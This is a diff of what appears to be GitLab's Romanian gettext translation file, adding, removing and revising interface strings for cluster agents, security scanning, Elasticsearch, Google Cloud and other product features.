-msgid "ClusterAgents|Go to the repository"
-msgstr "Mergeți la repozitoriu"
+msgid "ClusterAgents|GitLab Agent"
+msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
-msgstr "Instalați un Agent GitLab nou"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
+msgstr ""
-msgid "ClusterAgents|Install new Agent"
-msgstr "Instalați un nou agent"
+msgid "ClusterAgents|Go to the repository files"
+msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
-msgstr "Integrează Kubernetes cu un agent GitLab"
+msgid "ClusterAgents|How to register an agent?"
+msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7489,6 +7633,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7501,60 +7648,78 @@ msgstr "Niciodată"
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
-msgstr "Citiți mai multe despre procedura de start"
+msgid "ClusterAgents|Recommended"
+msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr "Metoda de instalare recomandată"
+msgid "ClusterAgents|Register"
+msgstr ""
+
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
+msgstr ""
+
msgid "ClusterAgents|Registering Agent"
msgstr "ÃŽnregistrarea Agentului"
msgid "ClusterAgents|Registration token"
msgstr "Token de înregistrare"
-msgid "ClusterAgents|Select an Agent"
-msgstr "Selectați un agent"
-
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
-msgstr "Selectați agentul pe care doriți să îl înregistrați împreună cu GitLab și instalați-l pe cluster. Pentru a afla mai multe despre procesul de înregistrare a agentului Kubernetes %{linkStart} accesați documentația%{linkEnd}."
-
-msgid "ClusterAgents|Select which Agent you want to install"
-msgstr "Selectați care agent doriți să îl instalați"
+msgid "ClusterAgents|Security"
+msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
-msgstr "Metoda recomandată de instalare furnizată mai jos include tokenul. Dacă doriți să urmați metoda de instalare alternativă furnizată în documentație, asigurați-vă că salvați valoarea tokenului înainte de a închide fereastra."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
-msgstr "Tokenul de înregistrare va fi utilizat pentru a conecta agentul pe clusterul dvs. la GitLab. Pentru a afla mai multe despre token-urile de înregistrare și modul în care acestea sunt utilizate %{linkStart} Du-te la documentația%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
+msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
-msgstr "Valoarea tokenului nu va fi afișată din nou după închiderea acestei ferestre."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
+msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
-msgstr "Pentru a instala un agent, ar trebui să creați mai întâi un director de agent în repozitoriu. Vă recomandăm să adăugați configurația agentului în director înainte de a începe procesul de instalare."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
+msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr "Utilizator necunoscut"
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7696,15 +7861,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7831,9 +7999,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7879,12 +8044,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr "Tip de instanță"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr "Integrați Kubernetes cu un certificat de cluster"
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr "Integrați cu un certificat de cluster"
-
msgid "ClusterIntegration|Integration disabled"
msgstr "Integrare dezactivată"
@@ -7906,9 +8065,6 @@ msgstr "Numele clusterului Kubernetes"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "Clusterul Kubernetes a fost creat cu succes."
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Clusterele Kubernetes vă permit să utilizați aplicații de revizuire, să implementați aplicațiile, să vă rulați conductele și multe altele într-un mod ușor."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "Versiunea Kubernetes"
@@ -8209,6 +8365,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "Adresa URL folosită pentru accesarea API-ului Kubernetes."
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8263,6 +8422,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8320,9 +8482,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8359,6 +8518,9 @@ msgstr "Proprietarii codului"
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr "Fragment de cod copiat. Introduceți-l în locația corectă din fișierul YAML."
@@ -8785,6 +8947,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr "Configurați Prometeu"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr "Configurați SAST în `.gitlab-ci.yml` utilizând șablonul gestionat de GitLab. Puteți [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) pentru a personaliza setările SAST."
@@ -8797,6 +8965,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8836,9 +9007,6 @@ msgstr "ConfiguraÈ›i prima zi implicită a săptămânii È™i unitățile de urmÄ
msgid "Configure the way a user creates a new account."
msgstr "Configurați modul în care un utilizator creează un cont nou."
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9553,8 +9721,8 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
-msgstr "Corpusul nou trebuie să fie o încărcare în format *.zip. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
+msgstr ""
msgid "CorpusManagement|New upload"
msgstr ""
@@ -9709,6 +9877,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9868,6 +10039,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9901,9 +10075,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "Etichetă"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10123,6 +10294,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10513,6 +10714,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "Graficul afișează timpul mediu dintre îmbinarea unui merge request și implementarea în mediul (mediile) de producție care se bazează pe valoarea %{linkStart}deployment_tier%{linkEnd}."
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11161,6 +11365,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11182,6 +11389,9 @@ msgstr ""
msgid "Delete corpus"
msgstr "Eliminare corpus"
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11236,9 +11446,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11284,6 +11491,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11404,6 +11617,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11419,19 +11635,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11674,9 +11896,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11908,7 +12127,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12178,6 +12397,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12346,6 +12568,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr "Nu se aplică proiectelor în spații de nume personale, ce sunt șterse imediat după solicitare."
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12436,9 +12661,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12472,6 +12694,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12550,9 +12775,15 @@ msgstr "Editați aplicația"
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12646,6 +12877,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12661,6 +12895,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12682,6 +12919,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr "Trimiteți prin e-mail un nou %{name} la acest proiect"
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12781,9 +13021,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12835,6 +13072,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12856,6 +13096,9 @@ msgstr "Activați un punct final Prometheus care expune statistici de sănătate
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr "Activați acces la bara de performanță pentru non-administratori într-un grup specificat."
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr "Activați modul administrator"
@@ -12928,6 +13171,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr "Activați e-mailuri multipart"
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13102,6 +13348,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr "Introduceți server-ul dvs. Packagist. Valoarea implicită este https://packagist.org."
@@ -13186,16 +13438,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "Panoul de control al mediilor oferă un rezumat al stării mediului fiecărui proiect, inclusiv starea conductelor și a alertelor."
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13435,9 +13684,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "Cum pot rezolva asta?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13486,9 +13732,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13825,7 +14068,7 @@ msgstr "Utilizator e-mail"
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14008,9 +14251,6 @@ msgstr "Cu excepția politicii:"
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14128,6 +14368,12 @@ msgstr "Explorați proiectele"
msgid "Explore public groups"
msgstr "Explorați grupurile publice"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14203,6 +14449,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14320,6 +14572,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14386,6 +14641,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14398,9 +14656,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr "Înregistrarea Agentului a eșuat."
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14842,6 +15097,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14938,15 +15196,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Dată fixă"
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr "Fixă:"
@@ -15025,6 +15274,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15238,6 +15490,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr "Generic"
@@ -15343,9 +15598,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15619,9 +15871,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15793,6 +16042,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15856,6 +16108,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16027,6 +16282,51 @@ msgstr "Comenzi rapide globale"
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16174,7 +16474,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16231,6 +16543,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16495,7 +16810,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16795,6 +17110,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16972,7 +17293,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16987,7 +17311,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17086,6 +17413,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17353,7 +17683,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17392,6 +17722,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18172,7 +18505,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18337,9 +18673,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr "Include funcții noi din toate nivelurile."
@@ -18403,6 +18736,9 @@ msgstr "Infrastructură"
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18619,12 +18955,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18742,6 +19084,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18757,6 +19102,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18787,7 +19138,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18844,7 +19198,7 @@ msgstr ""
